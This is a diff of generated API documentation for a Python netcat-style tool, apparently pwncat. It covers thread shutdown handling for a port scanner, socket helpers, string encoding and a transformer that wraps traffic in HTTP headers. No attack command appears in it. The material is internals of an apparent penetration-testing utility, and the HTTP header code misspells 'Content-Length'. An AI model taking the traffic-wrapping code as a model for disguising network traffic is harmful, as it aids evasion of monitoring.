action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ cycles = 1 self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for repeater action [%s]", name + ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) action(*args, **kwargs) cycles += 1 time.sleep(pause) - # Start available action in a thread + # [1/3] Start available action in a thread for key in self.__actions: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [1]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_action, @@ -12110,17 +14784,35 @@

Args

self.__actions[key].code, ), ) - thread.daemon = False + # Daemon threads are easier to kill + thread.daemon = self.__actions[key].daemon_thread + # Add delay if threads cannot be started + delay = 0.0 while True: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break try: + # Do not call any logging functions in here as it will + # cause a deadlock for Python2 + # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread - # Start available timers in a thread + + # [2/3] Start available timers in a thread for key in self.__timers: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_timer, @@ -12129,15 +14821,21 @@

Args

key, self.__timers[key].action, self.__timers[key].intvl, - self.__timers[key].signal, - self.__timers[key].args, - ), + self.__timers[key].ssig, + ) + + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() - # Start available repeaters in a thread + + # [3/3] Start available repeaters in a thread for key in self.__repeaters: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [3]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_repeater, @@ -12147,56 +14845,72 @@

Args

self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, - self.__repeaters[key].signal, - self.__repeaters[key].args, - ), + self.__repeaters[key].ssig, + ) + + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() - def check_stop(force): - # type: (int) -> bool + def check_stop(): + # type: () -> bool """Stop threads.""" - for key in self.__threads: - if not self.__threads[key].is_alive() or force: - # TODO: How are we gonna call the stop signal now? - # # [1/3] Inform all threads (inside) about a stop signal. - # # All threads with non-blocking funcs will be able to stop themselves - # self.log.trace( # type: ignore - # "Raise stop signal: StopSignal.stop() for thread [%s]", - # self.__threads[key].getName(), - # ) - # self.__actions[key].signal.raise_stop() - # [2/3] Call external interrupters - # These will shutdown all blocking functions inside a thread, - # so that they are actually able to join - for interrupt in self.__actions[key].interrupts: - self.log.trace( # type: ignore - "Call INTERRUPT: %s.%s() for %s", - getattr(interrupt, "__self__").__class__.__name__, - interrupt.__name__, - self.__threads[key].getName(), - ) - interrupt() - # [3/3] All blocking events inside the threads are gone, now join them - self.log.trace("Joining %s", self.__threads[key].getName()) # type: ignore - self.__threads[key].join(timeout=0.1) - # If all threads have died or force is requested, then exit - if not all([self.__threads[key].is_alive() for key in self.__threads]) or force: + # [1/2] Fast shutdown + # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() + # in a fast loop. Also for port-scan we will have thousands of threads that need + # to be joined and the signal handler is unable to abort the whole program during that + # time. Outcome is it would take a few minutes to abort during port scan. + # The fix is to use a "faster" method to kill the threads. + # 1. The port scanner threads need to be started in daemon mode + # 2. the fast_quit param to Runner() must be set to True + if self.__fast_quit: + if self.__ssig.has_terminate(): + self.log.trace("Fast quit - shutting down.") # type: ignore + return True + + # [2/2] Normal shutdown for non-daemon threads + else: + for key in self.__threads: + if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): + for interrupt in self.__actions[key].interrupts: + # [1/3] Call external interrupters + self.log.trace( # type: ignore + "Call INTERRUPT: %s.%s() for %s", + getattr(interrupt, "__self__").__class__.__name__, + interrupt.__name__, + self.__threads[key].getName(), + ) + interrupt() + # [2/3] All blocking events inside the threads are gone, now join them + try: + self.log.trace( # type: ignore + "Joining %s", self.__threads[key].getName() + ) + # NOTE: The thread.join() operating will also block the signal + # handler if we try to join too many threads at once. + self.__threads[key].join() + self.log.trace( # type: ignore + "Joined %s", self.__threads[key].getName() + ) + except RuntimeError: + pass + # If all threads are done, also stop + if all([not self.__threads[key].is_alive() for key in self.__threads]): + self.log.trace("All threads dead - shutting down.") # type: ignore return True return False - try: - while True: - if check_stop(False): - sys.exit(0) - # Need a timeout to not skyrocket the CPU - time.sleep(0.1) - except KeyboardInterrupt: - print() - check_stop(True) - sys.exit(1)
+ while True: + if check_stop(): + sys.exit(0) + # Need a timeout to not skyrocket the CPU + if sys.version_info < (3, 3): + # Signal Handler in Python < 3.3 is broken and might not catch on + # a too small timeout invervall + time.sleep(0.5) + else: + time.sleep(0.01)

Methods

@@ -12297,7 +15011,7 @@

Args

def run_action( name, # type: str producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): @@ -12346,23 +15060,25 @@

Args

consumer(data) self.log.trace("[%s] Producer Stop", name) # type: ignore - def run_timer(name, action, intvl, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, StopSignal, Any, Any) -> None + def run_timer(name, action, intvl, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for timer action [%s]", name + ) return time_now = int(time.time()) if time_now > time_last + intvl: @@ -12371,8 +15087,8 @@

Args

time_last = time_now # Reset previous time time.sleep(0.1) - def run_repeater(name, action, repeat, pause, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, float, StopSignal, Any, Any) -> None + def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: @@ -12380,23 +15096,30 @@

Args

action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ cycles = 1 self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for repeater action [%s]", name + ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) action(*args, **kwargs) cycles += 1 time.sleep(pause) - # Start available action in a thread + # [1/3] Start available action in a thread for key in self.__actions: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [1]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_action, @@ -12409,17 +15132,35 @@

Args

self.__actions[key].code, ), ) - thread.daemon = False + # Daemon threads are easier to kill + thread.daemon = self.__actions[key].daemon_thread + # Add delay if threads cannot be started + delay = 0.0 while True: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break try: + # Do not call any logging functions in here as it will + # cause a deadlock for Python2 + # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread - # Start available timers in a thread + + # [2/3] Start available timers in a thread for key in self.__timers: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_timer, @@ -12428,15 +15169,21 @@

Args

key, self.__timers[key].action, self.__timers[key].intvl, - self.__timers[key].signal, - self.__timers[key].args, - ), + self.__timers[key].ssig, + ) + + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() - # Start available repeaters in a thread + + # [3/3] Start available repeaters in a thread for key in self.__repeaters: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [3]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_repeater, @@ -12446,56 +15193,72 @@

Args

self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, - self.__repeaters[key].signal, - self.__repeaters[key].args, - ), + self.__repeaters[key].ssig, + ) + + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() - def check_stop(force): - # type: (int) -> bool + def check_stop(): + # type: () -> bool """Stop threads.""" - for key in self.__threads: - if not self.__threads[key].is_alive() or force: - # TODO: How are we gonna call the stop signal now? - # # [1/3] Inform all threads (inside) about a stop signal. - # # All threads with non-blocking funcs will be able to stop themselves - # self.log.trace( # type: ignore - # "Raise stop signal: StopSignal.stop() for thread [%s]", - # self.__threads[key].getName(), - # ) - # self.__actions[key].signal.raise_stop() - # [2/3] Call external interrupters - # These will shutdown all blocking functions inside a thread, - # so that they are actually able to join - for interrupt in self.__actions[key].interrupts: - self.log.trace( # type: ignore - "Call INTERRUPT: %s.%s() for %s", - getattr(interrupt, "__self__").__class__.__name__, - interrupt.__name__, - self.__threads[key].getName(), - ) - interrupt() - # [3/3] All blocking events inside the threads are gone, now join them - self.log.trace("Joining %s", self.__threads[key].getName()) # type: ignore - self.__threads[key].join(timeout=0.1) - # If all threads have died or force is requested, then exit - if not all([self.__threads[key].is_alive() for key in self.__threads]) or force: + # [1/2] Fast shutdown + # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() + # in a fast loop. Also for port-scan we will have thousands of threads that need + # to be joined and the signal handler is unable to abort the whole program during that + # time. Outcome is it would take a few minutes to abort during port scan. + # The fix is to use a "faster" method to kill the threads. + # 1. The port scanner threads need to be started in daemon mode + # 2. the fast_quit param to Runner() must be set to True + if self.__fast_quit: + if self.__ssig.has_terminate(): + self.log.trace("Fast quit - shutting down.") # type: ignore + return True + + # [2/2] Normal shutdown for non-daemon threads + else: + for key in self.__threads: + if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): + for interrupt in self.__actions[key].interrupts: + # [1/3] Call external interrupters + self.log.trace( # type: ignore + "Call INTERRUPT: %s.%s() for %s", + getattr(interrupt, "__self__").__class__.__name__, + interrupt.__name__, + self.__threads[key].getName(), + ) + interrupt() + # [2/3] All blocking events inside the threads are gone, now join them + try: + self.log.trace( # type: ignore + "Joining %s", self.__threads[key].getName() + ) + # NOTE: The thread.join() operating will also block the signal + # handler if we try to join too many threads at once. + self.__threads[key].join() + self.log.trace( # type: ignore + "Joined %s", self.__threads[key].getName() + ) + except RuntimeError: + pass + # If all threads are done, also stop + if all([not self.__threads[key].is_alive() for key in self.__threads]): + self.log.trace("All threads dead - shutting down.") # type: ignore return True return False - try: - while True: - if check_stop(False): - sys.exit(0) - # Need a timeout to not skyrocket the CPU - time.sleep(0.1) - except KeyboardInterrupt: - print() - check_stop(True) - sys.exit(1)
+ while True: + if check_stop(): + sys.exit(0) + # Need a timeout to not skyrocket the CPU + if sys.version_info < (3, 3): + # Signal Handler in Python < 3.3 is broken and might not catch on + # a too small timeout invervall + time.sleep(0.5) + else: + time.sleep(0.01)
@@ -12505,13 +15268,13 @@

Args

(*args, **kwargs)
-

Thread-safe singleton Socket helper to emulate a module within the same file.

+

Thread-safe singleton Socket wrapper to emulate a module within the same file.

Expand source code
class Sock(_Singleton("SingletonMeta", (object,), {})):  # type: ignore
-    """Thread-safe singleton Socket helper to emulate a module within the same file."""
+    """Thread-safe singleton Socket wrapper to emulate a module within the same file."""
 
     def __init__(self):
         # type: () -> None
@@ -12862,13 +15625,14 @@ 

Args

# -------------------------------------------------------------------------- # Create functions # -------------------------------------------------------------------------- - def create_socket(self, family, sock_type, ip_tos_name=None): - # type: (Union[socket.AddressFamily, int], int, Optional[str]) -> socket.socket + def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None): + # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket """Create TCP or UDP socket. Args: family (socket.family): The address family for which to create the socket for. sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM + reuse_addr (bool): Set SO_REUSEADDR on the socket. ip_tos_name (str): Optional IP type of service value to apply to socket Returns: @@ -12912,7 +15676,8 @@

Args

# Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if reuse_addr: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: @@ -12971,27 +15736,38 @@

Args

self.__log.error(msg) raise socket.error(msg) - def accept(self, sockets, fstop): - # type: (List[socket.socket], Callable[[], bool]) -> Tuple[socket.socket, Tuple[str, int]] + def accept( + self, + sockets, # type: List[socket.socket] + has_quit, # type: Callable[[], bool] + select_timeout=0.01, # type: float + ): + # type: (...) -> Tuple[socket.socket, Tuple[str, int]] """Accept a single connection from given list of sockets. Given sockets must be bound to an addr and listening for connections. Args: sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on. - fstop (Callable[[], bool]): A function that returns True if abort is requested. + has_quit (Callable[[], bool]): A function that returns True if abort is requested. + select_timeout (float): Timeout to poll sockets for connected clients. Returns: - socket.socket: Returns the connection socket (whatever protocol was faster). + (socket.socket, str, int): Returns tuple of socket, address and port of client. Raises: socket.error: Raised if server cannot accept connection or stop signal is requested. """ self.__log.debug("Waiting for TCP client") while True: - ssockets = select.select(sockets, [], [], 0.01)[0] # type: List[socket.socket] - if fstop(): - raise socket.error("StopSignal acknknowledged") + try: + ssockets = select.select(sockets, [], [], select_timeout)[ + 0 + ] # type: List[socket.socket] + except select.error as err: + raise socket.error(err) + if has_quit(): + raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()") for sock in ssockets: try: conn, addr = sock.accept() @@ -13029,13 +15805,18 @@

Args

port (int): Port of server to connect to. Returns: - Tuple[str,int]: Adress/port tuple of local bin of the client. + Tuple[str,int]: Adress/port tuple of local bind of the client. Raises: socker.error: If client cannot connect to remote peer or custom bind did not succeed. """ - sock_family_name = self.get_family_name(sock.family) - sock_type_name = self.get_type_name(sock.type) + try: + # If the socket was already closed elsewhere, it won't have family or type anymore + sock_family_name = self.get_family_name(sock.family) + sock_type_name = self.get_type_name(sock.type) + except AttributeError as error: + raise socket.error(error) + # Bind to a custom addr/port if src_addr is not None and src_port is not None: try: @@ -13104,29 +15885,71 @@

Args

# -------------------------------------------------------------------------- # Destroy functions # -------------------------------------------------------------------------- - def close(self, sock, name): + def shutdown_recv(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for receiving data (only allow to send data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for receive. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for receiving", name) # type: ignore + sock.shutdown(socket.SHUT_RD) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def shutdown_send(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for sending data (only allow to receive data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for send. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for sending", name) # type: ignore + sock.shutdown(socket.SHUT_WR) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def close(self, sock, name): # pylint: disable=unused-argument,no-self-use # type: (socket.socket, str) -> None """Shuts down and closes a socket. Args: + sock (socket.socket): Socket to shutdown and close. name (str): Name of the socket used for logging purposes. - sock (str): Socket to shutdown and close. """ + # NOTE: Logging is removed here as this is too much overhead when using + # the port scanner (it will have thousands of threads and too many + # calls to the logger which will cause issues with its shutdown + # and a massive performance degrade as well. try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both - self.__log.trace("Shutting down %s socket", name) # type: ignore + # self.__log.trace("Shutting down %s socket", name) # type: ignore sock.shutdown(socket.SHUT_RDWR) - except (OSError, socket.error) as error: + except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass try: - self.__log.trace("Closing %s socket", name) # type: ignore + # self.__log.trace("Closing %s socket", name) # type: ignore sock.close() - except (OSError, socket.error) as error: - self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore
+ except (OSError, socket.error): + pass

Ancestors

-def create_socket(self, family, sock_type, ip_tos_name=None) +def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None)

Create TCP or UDP socket.

@@ -13532,6 +16374,8 @@

Args

The address family for which to create the socket for.
sock_type : int
The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
+
reuse_addr : bool
+
Set SO_REUSEADDR on the socket.
ip_tos_name : str
Optional IP type of service value to apply to socket
@@ -13549,13 +16393,14 @@

Raises

Expand source code -
def create_socket(self, family, sock_type, ip_tos_name=None):
-    # type: (Union[socket.AddressFamily, int], int, Optional[str]) -> socket.socket
+
def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
+    # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
     """Create TCP or UDP socket.
 
     Args:
         family (socket.family): The address family for which to create the socket for.
         sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
+        reuse_addr (bool): Set SO_REUSEADDR on the socket.
         ip_tos_name (str): Optional IP type of service value to apply to socket
 
     Returns:
@@ -13599,7 +16444,8 @@ 

Raises

# Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if reuse_addr: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: @@ -13848,72 +16694,76 @@

Raises

raise socket.error(msg)
- - -
-class StopSignal +
+def shutdown_recv(self, sock, name)
-

Provide a simple boolean switch.

-

Create a StopSignal instance.

-
- -Expand source code - -
class StopSignal(object):
-    """Provide a simple boolean switch."""
-
-    # --------------------------------------------------------------------------
-    # Constructor
-    # --------------------------------------------------------------------------
-    def __init__(self):
-        # type: () -> None
-        """Create a StopSignal instance."""
-        self.__stop = False
-
-    # --------------------------------------------------------------------------
-    # Public Functions
-    # --------------------------------------------------------------------------
-    def has_stop(self):
-        # type: () -> bool
-        """Check if a stop signal has been raised."""
-        return self.__stop
-
-    def raise_stop(self):
-        # type: () -> None
-        """Raise a stop signal."""
-        self.__stop = True
-
-

Methods

+

Shuts down a socket for receiving data (only allow to send data).

+

Args

-
-def has_stop(self) -
-
-

Check if a stop signal has been raised.

+
name : str
+
Name of the socket used for logging purposes.
+
sock : str
+
Socket to shutdown for receive.
+
Expand source code -
def has_stop(self):
-    # type: () -> bool
-    """Check if a stop signal has been raised."""
-    return self.__stop
+
def shutdown_recv(self, sock, name):
+    # type: (socket.socket, str) -> None
+    """Shuts down a socket for receiving data (only allow to send data).
+
+    Args:
+        name (str): Name of the socket used for logging purposes.
+        sock (str): Socket to shutdown for receive.
+    """
+    try:
+        # (SHUT_RD)   0 = Done receiving (disallows receiving)
+        # (SHUT_WR)   1 = Done sending (disallows sending)
+        # (SHUT_RDWR) 2 = Both
+        self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
+        sock.shutdown(socket.SHUT_RD)
+    except (OSError, socket.error):
+        # We do not log errors here, as unconnected sockets cannot
+        # be shutdown and we want to throw any socket at this function.
+        pass
-
-def raise_stop(self) +
+def shutdown_send(self, sock, name)
-

Raise a stop signal.

+

Shuts down a socket for sending data (only allow to receive data).

+

Args

+
+
name : str
+
Name of the socket used for logging purposes.
+
sock : str
+
Socket to shutdown for send.
+
Expand source code -
def raise_stop(self):
-    # type: () -> None
-    """Raise a stop signal."""
-    self.__stop = True
+
def shutdown_send(self, sock, name):
+    # type: (socket.socket, str) -> None
+    """Shuts down a socket for sending data (only allow to receive data).
+
+    Args:
+        name (str): Name of the socket used for logging purposes.
+        sock (str): Socket to shutdown for send.
+    """
+    try:
+        # (SHUT_RD)   0 = Done receiving (disallows receiving)
+        # (SHUT_WR)   1 = Done sending (disallows sending)
+        # (SHUT_RDWR) 2 = Both
+        self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
+        sock.shutdown(socket.SHUT_WR)
+    except (OSError, socket.error):
+        # We do not log errors here, as unconnected sockets cannot
+        # be shutdown and we want to throw any socket at this function.
+        pass
@@ -13924,8 +16774,7 @@

Methods

Takes care about Python 2/3 string encoding/decoding.

This allows to parse all string/byte values internally between all -classes or functions as strings to keep full Python 2/3 compat.

-

Create a StringEncoder instance which converts str/bytes according to Python version.

+classes or functions as strings to keep full Python 2/3 compat.

Expand source code @@ -13937,63 +16786,84 @@

Methods

classes or functions as strings to keep full Python 2/3 compat. """ - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StringEncoder instance which converts str/bytes according to Python version.""" - self.__py3 = sys.version_info >= (3, 0) # type: bool - - # https://stackoverflow.com/questions/606191/27527728#27527728 - self.__codec = "cp437" - self.__fallback = "latin-1" + CODECS = [ + "utf-8", + "cp437", + "latin-1", + ] # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def encode(self, data): + # Class methods + # -------------------------------------------------------------------------- + @classmethod + def rstrip(cls, data, search=None): + # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str] + """Implementation of rstring which works on bytes or strings.""" + # We have a bytes object in Python3 + if sys.version_info >= (3, 0) and type(data) is not str: + # Strip whitespace + if search is None: + while True: + new = data + new = cls.rstrip(new, " ") + new = cls.rstrip(new, "\n") + new = cls.rstrip(new, "\r") + new = cls.rstrip(new, "\t") + # Loop until no more changes occur + if new == data: + return new + else: + bsearch = StringEncoder.encode(search) + while data[-1:] == bsearch: + data = data[:-1] + return data + + # Use native function + if search is None: + return data.rstrip() + return data.rstrip(search) # type: ignore + + @classmethod + def encode(cls, data): # type: (str) -> bytes """Convert string into a byte type for Python3.""" - if self.__py3: - try: - return data.encode(self.__codec) - except UnicodeEncodeError: - # TODO: Add logging - return data.encode(self.__fallback) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.encode(codec) + try: + return data.encode(codec) + except UnicodeEncodeError: + pass return data # type: ignore - def decode(self, data): + @classmethod + def decode(cls, data): # type: (bytes) -> str """Convert bytes into a string type for Python3.""" - if self.__py3: - return data.decode(self.__codec) - return data # type: ignore - - def base64_encode(self, data): - # type: (str) -> str - """Convert string into a base64 encoded string.""" - return self.decode(base64.b64encode(self.encode(data)))
+ if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.decode(codec) + try: + return data.decode(codec) + except UnicodeDecodeError: + pass + return data # type: ignore -

Methods

+

Class variables

-
-def base64_encode(self, data) -
+
var CODECS
-

Convert string into a base64 encoded string.

-
- -Expand source code - -
def base64_encode(self, data):
-    # type: (str) -> str
-    """Convert string into a base64 encoded string."""
-    return self.decode(base64.b64encode(self.encode(data)))
-
+
+
+

Static methods

+
-def decode(self, data) +def decode(data)

Convert bytes into a string type for Python3.

@@ -14001,16 +16871,24 @@

Methods

Expand source code -
def decode(self, data):
+
@classmethod
+def decode(cls, data):
     # type: (bytes) -> str
     """Convert bytes into a string type for Python3."""
-    if self.__py3:
-        return data.decode(self.__codec)
+    if sys.version_info >= (3, 0):
+        for codec in cls.CODECS:
+            # On the last codec, do not catch the exception and let it trigger if it fails
+            if codec == cls.CODECS[-1]:
+                return data.decode(codec)
+            try:
+                return data.decode(codec)
+            except UnicodeDecodeError:
+                pass
     return data  # type: ignore
-def encode(self, data) +def encode(data)

Convert string into a byte type for Python3.

@@ -14018,18 +16896,60 @@

Methods

Expand source code -
def encode(self, data):
+
@classmethod
+def encode(cls, data):
     # type: (str) -> bytes
     """Convert string into a byte type for Python3."""
-    if self.__py3:
-        try:
-            return data.encode(self.__codec)
-        except UnicodeEncodeError:
-            # TODO: Add logging
-            return data.encode(self.__fallback)
+    if sys.version_info >= (3, 0):
+        for codec in cls.CODECS:
+            # On the last codec, do not catch the exception and let it trigger if it fails
+            if codec == cls.CODECS[-1]:
+                return data.encode(codec)
+            try:
+                return data.encode(codec)
+            except UnicodeEncodeError:
+                pass
     return data  # type: ignore
+
+def rstrip(data, search=None) +
+
+

Implementation of rstring which works on bytes or strings.

+
+ +Expand source code + +
@classmethod
+def rstrip(cls, data, search=None):
+    # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
+    """Implementation of rstring which works on bytes or strings."""
+    # We have a bytes object in Python3
+    if sys.version_info >= (3, 0) and type(data) is not str:
+        # Strip whitespace
+        if search is None:
+            while True:
+                new = data
+                new = cls.rstrip(new, " ")
+                new = cls.rstrip(new, "\n")
+                new = cls.rstrip(new, "\r")
+                new = cls.rstrip(new, "\t")
+                # Loop until no more changes occur
+                if new == data:
+                    return new
+        else:
+            bsearch = StringEncoder.encode(search)
+            while data[-1:] == bsearch:
+                data = data[:-1]
+            return data
+
+    # Use native function
+    if search is None:
+        return data.rstrip()
+    return data.rstrip(search)  # type: ignore
+
+
@@ -14179,11 +17099,14 @@

Args

# -------------------------------------------------------------------------- @abstractmethod def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Implement a transformer function which transforms a string.. + Args: + data (bytes): data to be transformed. + Returns: - str: The transformed string. + bytes: The transformed string. """

Ancestors

@@ -14192,6 +17115,8 @@

Ancestors

Subclasses

@@ -14219,9 +17144,14 @@

Methods

Implement a transformer function which transforms a string..

+

Args

+
+
data : bytes
+
data to be transformed.
+

Returns

-
str
+
bytes
The transformed string.
@@ -14230,16 +17160,312 @@

Returns

@abstractmethod
 def transform(self, data):
-    # type: (str) -> str
+    # type: (bytes) -> bytes
     """Implement a transformer function which transforms a string..
 
+    Args:
+        data (bytes): data to be transformed.
+
     Returns:
-        str: The transformed string.
+        bytes: The transformed string.
     """
+
+class TransformHttpPack +(opts) +
+
+

Implement a transformation to pack data into HTTP packets.

+

Set specific options for this transformer.

+

Args

+
+
opts : DsTransformLinefeed
+
Transformer options.
+
+
+ +Expand source code + +
class TransformHttpPack(Transform):
+    """Implement a transformation to pack data into HTTP packets."""
+
+    # --------------------------------------------------------------------------
+    # Constructor / Destructor
+    # --------------------------------------------------------------------------
+    def __init__(self, opts):
+        # type: (Dict[str, str]) -> None
+        """Set specific options for this transformer.
+
+        Args:
+            opts (DsTransformLinefeed): Transformer options.
+
+        """
+        super(TransformHttpPack, self).__init__()
+        self.__opts = opts
+        self.__log = logging.getLogger(__name__)
+
+        assert "reply" in opts
+        assert opts["reply"] in ["request", "response"]
+
+        # Initial default header
+        self.__headers = [
+            "Accept-Charset: utf-8",
+        ]
+
+        self.__response_headers_sent = False
+
+    # --------------------------------------------------------------------------
+    # Public Functions
+    # --------------------------------------------------------------------------
+    def transform(self, data):
+        # type: (bytes) -> bytes
+        """Wrap data into a HTTP packet.
+
+        Returns:
+            bytes: The wrapped string.
+        """
+        request_header = [
+            "POST / HTTP/1.1",
+            "Host: {}".format(self.__opts["host"]),
+            "User-Agent: pwncat",
+            "Accept: */*",
+            "Conent-Length: {}".format(len(data)),
+            "Content-Type: text/plain; charset=UTF-8",
+        ]
+        response_header = [
+            "HTTP/1.1 200 OK",
+            "Date: {}".format(self.__get_date()),
+            "Server: pwncat",
+            "Conent-Length: {}".format(len(data)),
+            "Connection: close",
+        ]
+
+        self.__response_headers_sent = True
+
+        if self.__opts["reply"] == "request":
+            header = StringEncoder.encode(
+                "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
+            )
+        else:
+            header = StringEncoder.encode(
+                "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
+            )
+        return header + data
+
+    # --------------------------------------------------------------------------
+    # Private Functions
+    # --------------------------------------------------------------------------
+    def __get_date(self):  # pylint: disable=no-self-use
+        # type: () -> str
+        now = datetime.utcnow()
